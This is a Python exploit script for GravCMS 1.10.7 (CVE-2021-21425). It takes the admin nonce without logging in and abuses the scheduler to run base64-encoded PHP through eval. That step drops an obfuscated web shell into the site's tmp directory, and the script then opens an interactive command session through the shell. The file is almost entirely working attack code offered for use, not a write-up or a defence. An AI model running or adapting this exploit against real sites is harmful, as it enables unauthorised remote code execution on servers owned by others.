exploit.py

#!/usr/bin/env python3

# ##############################################################################################
# Exploit Title: GravCMS 1.10.7 - Arbitrary File Write (Unauthenticated) (3)                   #
# Original Exploit Author: Mehmet Ince                                                         # 
# Vendor Homepage: https://getgrav.org                                                         #
# Version: 1.10.7                                                                              #
# Tested on: Ubuntu 20.04                                                                      #
# CVE: CVE-2021-21425                                                                          #
# Author: Bluetooth Strawberry                                                                 #
# ##############################################################################################

import argparse
import requests
import urllib
import base64
import string
import random
import time
import sys
import re
import os


def web_shell(target, shell):
    try:
        while True:
            data = {
                '0': input('$ ')
            }
            try:
                r = requests.post(f'{target}/tmp/{shell}', data=data, verify=False, allow_redirects=False)
            except:
                continue
            print(r.text)
    except KeyboardInterrupt as err:
        print('bye bye mon cher ami')



def grab_nonce_and_cookie(target):
    try:
        r = requests.get(f'{target}/admin')
    except:
        return None, None
    try:
        # Patched system are no login using 'admin-nonce'.
        # If you see a 'login-nonce' the system was patched.
        nonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
    except:
        return None, None
    try:
        cookie = r.headers['Set-Cookie'].split(';')[0]
    except:
        return None, None
    return nonce, cookie


def sched_cmd(target, nonce, cmd, cookie):
    payload = base64.b64encode(f'/*<?php /**/\nsystem("{cmd}");'.encode()).decode()
    task = ''.join(random.choices(string.hexdigits[:16], k=8))
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Cookie': cookie
    }
    data = {
        "admin-nonce": nonce,
        "task": "SaveDefault",
        f"data[custom_jobs][{task}][command]": "/usr/bin/php",
        f"data[custom_jobs][{task}][args]": f"-r eval(base64_decode(\"{payload}\"));",
        f"data[custom_jobs][{task}][at]": "* * * * *",
        f"data[custom_jobs][{task}][output]": "",
        f"data[status][{task}]": "enabled",
        f"data[custom_jobs][{task}][output_mode]": "append"
    }
    # This is a new tricky I've learned today! (converts + into %20) much more reliable!
    encoded_data = urllib.parse.urlencode(data, quote_via=urllib.parse.quote)
    try:
        r = requests.post(f'{target}/admin/config/scheduler', data=encoded_data, headers=headers, verify=False)
    except:
        return False
    if 'Successfully saved' in r.text:
        return True
    return False


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', "--url")    
    args = parser.parse_args()
    target = args.url

    shell = ''.join(random.choices(string.hexdigits[:16], k=16)) + '.php'

    # We should be able to write on the /tmp directory
    cmd = f"echo 'PD9waHAKICAgIGVjaG8gc2hlbGxfZXhlYygkX1BPU1RbJzAnXSk7Cj8+Cg==' | base64 -d > tmp/{shell}"

    # If this fails, you should check your base_dir! grav does not like extra / at the end of url!
    nonce, cookie = grab_nonce_and_cookie(target)
    if nonce is None:
        print('Could not grab admin-nonce! is the target vulnerable?')
        sys.exit(1)

    # Just hope for the best here
    code = sched_cmd(target, nonce, cmd, cookie)
    if code == False:
        print('Exploit failed! aborting!')
        sys.exit(1)
    
    # Why a web shell ?
    # Well this would allow us to enumerate the target 
    # and understand firewall rules better before attempting a reverse shell.
    # It saves time during exploitation.
    c = 60
    for i in range(0, 60):
        os.system('clear')
        print(f'Waiting {c} seconds for {target}/tmp/{shell} creation!')
        time.sleep(1)
        c -= 1
    print('Initiating hacking session')
    web_shell(target, shell)